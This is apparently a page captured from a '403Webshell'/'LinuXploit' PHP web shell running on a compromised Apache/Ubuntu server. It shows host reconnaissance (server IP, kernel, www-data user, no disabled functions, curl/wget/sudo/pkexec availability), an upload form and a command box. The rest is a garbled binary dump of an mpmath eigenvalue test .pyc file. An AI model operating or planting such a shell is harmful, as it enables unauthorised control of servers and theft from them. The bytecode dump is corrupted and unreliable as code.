403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/mpmath/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mpmath/tests/__pycache__/test_eigen_symmetric.cpython-310.pyc
o

�"`J"�@s�ddlmZddlmZejjZd'dd�Zd'dd�Zd(d	d
�Zd(dd�Zd
d�Z	d)dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd'd$d%�Zd&S)*�)�mp)�libmpFc
C��|r	tdt|��t�|�\}}|t�|�|��}||}||��t�|j�}|r7td|�td|�t�|�}t�|�}|rStd|d|d�td|d|d�t�	dt�
tj��}	||	ksdJ�||	ksjJ�|S�N�original matrix:
z
eigenvalues:
zeigenvectors:
zdifference:�
皙�����?)�print�strr�eigsy�diag�	transpose�eye�rows�mnorm�exp�log�eps�
�A�verbose�D�Q�B�C�E�NC�NEr�r�C/usr/lib/python3/dist-packages/mpmath/tests/test_eigen_symmetric.py�	run_eigsy	�$



r c
Crr)r	r
r�eigher�transpose_conjrrrrrrrrrr�	run_eighe$r!r$TcC�~|j|j}}t�dt�tj��}|r tdt|��td|�tj||d�\}}}t�	|j|j�}	t
t||��D]
}
||
|	|
|
f<q9|r[tdt|��tdt|��tdt|��||	||}t�|�}|rstdt|�d	|�||ksyJ�||�
�t�|j�}
t�|
�}|r�td
t|
�d	|�||ks�J�|�
�|t�|j�}t�|�}|r�tdt|�d	|�||ks�J�dS�Nrr�full)�
full_matriceszU:
zS:
zV:
zC
rzD:
zE:
)r�colsrrrrr	r
�svd_r�zeros�xrange�minrr
r�rr(r�m�nr�U�S0�V�S�jr�errrrrrr�	run_svd_r?�8



r7cCr%r&)rr)rrrrr	r
�svd_cr+r,r-rr#rr.rrr�	run_svd_cfr8r:cCs\d}t�t|�|�\}}|t�|�8}|t�|�8}t�|�|ks#J�t�|�|ks,J�dS)N��h㈵��>)r�gauss_quadrature�len�matrixr)�qtype�a�br�d�errr�	run_gauss�srD�
cCsLt�||�}t|�D]}t|�D]}tdt��d|�|||f<qq
|S)z,
    random matrix with integer entries
    ��)rr>r,�int�rand)r0�ranger�ir5rrr�irandmatrix�s"�rLcCst�ddgddgg�}t|�t|�t�ddgddgg�}t|�t|�t�gd�gd�gd	�g�}t|�t|�t�gd
�gd�gd�g�}t|�t|�t�dd
gddgg�}t|�t�gd�gd�gd�g�}t|�t�gd�gd�gd�g�}t|�dS)NrF�������
)rF�rO)rRrMrQ)rOrQrN)rFrrO)rrMrG)rOrGrNy@@y@�)rFy�&�r)y&@rMy=@)ry�=�rN)rFy&@1@y@3@)y&@1�rMy*�7@)y@3�y*�7�rN)rr>r r$�rrrr�test_eighe_fixed_matrix�s$rTcCsjd}td�D],}dt�||�d}td|�D]}t|d|�D]}|||f|||f<q qt|�qdS)NrNrErFrGr)r,r�
randmatrixr ��Nr@rrKr5rrr�test_eigsy_randmatrix�s�
�rXcCs�d}td�D]H}dt�||�dddt�||�d}td|�D]&}t�|||f�|||f<t|d|�D]}t�|||f�|||f<q9q#t|�qdS)NrNrErFrG��?r)r,rrU�re�conjr$rVrrr�test_eighe_randmatrix�s,�
�r\cCsdd}d}td�D]'}t||�}td|�D]}t|d|�D]}|||f|||f<qqt|�qdS)N�rErrG)r,rLr �rW�Rr@rrKr5rrr�test_eigsy_irandmatrix�s
�
�r`cCs�d}d}td�D]>}t||�dt||�}td|�D]&}t�|||f�|||f<t|d|�D]}t�|||f�|||f<q1qt|�qdS)Nr]rErYrrG)r,rLrrZr[r$r^rrr�test_eighe_irandmatrix�s�
�racCs�td�D]Q}t��dk}dtt��d�}dtt��d�}dt�||�d}t��dkrN|d9}t|�D]}t|�D]}t|||f�|||f<q>q8t||dd�qdS)NrN��?rGrErFF�r(r)r,rrIrHrUr7�rKr'r/r0r�x�yrrr�test_svd_r_rand�s��rgcCs�td�D]m}t��dk}dtt��d�}dtt��d�}dt�||�dddt�||�d}t��dkrj|d9}t|�D]%}t|�D]}tt�|||f��dtt�|||f��|||f<qJqDt||dd�qdS)	NrNrbrGrErFrYFrc)r,rrIrHrUrZ�imr:rdrrr�test_svd_c_rands,:��ric	Cs�t�dt�tj��}gd�gd�gd�gd�gd�gd�gd�gd	�g}t�|�}t�t�d
�dt�d�d
d
g�}tj|dd�}||8}t�|�|ksNJ�tj|dd�}||8}t�|�|ksbJ�dS)Nr)�rErFrMrO)�rOrEr�)���rQrmrPrM)������rQror])�	rlrGror])rprGi����rNrm)rFi�����rNrG)r]rNrrorFi��i�rF)�
compute_uv)	rrrrr>�sqrtr*rr9)rr@rAr4rrr�test_svd_test_cases$�
	 rucCs�ddg}ddg}td||�gd�}gd�}td||�gd�}gd�}td	||�d
dg}ddg}td
||�gd�}gd�}td
||�gd�}gd�}td||�dS)Ng���E�y�g���E�y�?rG�legendre)g{�[�l��g�0��#;�rg�0��#;�?g{�[�l��?)��ΞS�?�$%ڡ�?g�r3yV4�?rxrw)g���HƱ?g����?g
����p�?g�ü�6��?)�>�c�@C�?��:Ά_��?rzry�
legendre01g�'�e���g�'�e���?gE�%��[�?�hermite)g"��U)�g䬀)���rg䬀)���?g"��U)@)�8�D�n�?�R�1�?g����?�?r~r})g�\m���?g�pP��Z@g���\�(@)g��� F��?g�1m<��?g��o�F�?�laguerre)rD)r@rArrr�test_gauss_quadrature_static*s$r�c	sd�t�d�d���fdd��d���fdd�	}|d	d
d�ddg�|d
dd�ddg�|ddd�tjtjg�|ddd�dtjg�|ddd�dtjgdt�d�d�|ddd�ddg�|ddd�ddg�|ddd�ddgdt�d�dt�d�d�dS)NrNrFrGcs2d}tt��ddd�D]
}||�|}q|S)NrrGrm)r,r=)re�rrKrSrr�FHsz(test_gauss_quadrature_dynamic.<locals>.Frcs�tj�|||d�\}}d}tt|��D]}|||�||�7}qt���fdd�|�}	t�||	�}
�r=t||
||	�|
dksCJ�dS)N��alpha�betarcs�|��|�S�Nr�re)r��FWrr�<lambda>U�z<test_gauss_quadrature_dynamic.<locals>.run.<locals>.<lambda>r;)rr<r,r=�quad�fabsr	)r?r�r_r�r��X�Wr@rKrA�c)r�r0r)r�r�runNsz*test_gauss_quadrature_dynamic.<locals>.runrvcS�dS�NrGrr�rrrr�^�z/test_gauss_quadrature_dynamic.<locals>.<lambda>rmr{cSr�r�rr�rrrr�_r�r|cSst�||�Sr��rrr�rrrr�`r�rcSst�|�Sr�r�r�rrrr�as�	glaguerrecSst�|�t�|�Sr�)rrtrr�rrrr�b�)r��
chebyshev1cSsdt�d||�Sr��rrtr�rrrr�cr��
chebyshev2cSst�d||�Sr�r�r�rrrr�ds�jacobicSs,d|dt�d�d|dt�d�S)NrGrMrN)r�mpfr�rrrr�es,rMr�)rr)rrU�infr�)rr�r)rr�r0rr�test_gauss_quadrature_dynamicCs$2r�N)F)FT)rE)�mpmathrr�backendr,r r$r7r:rDrLrTrXr\r`rargrirur�r�rrrr�<module>s&



''





Youez - 2016 - github.com/yon3zu
LinuXploit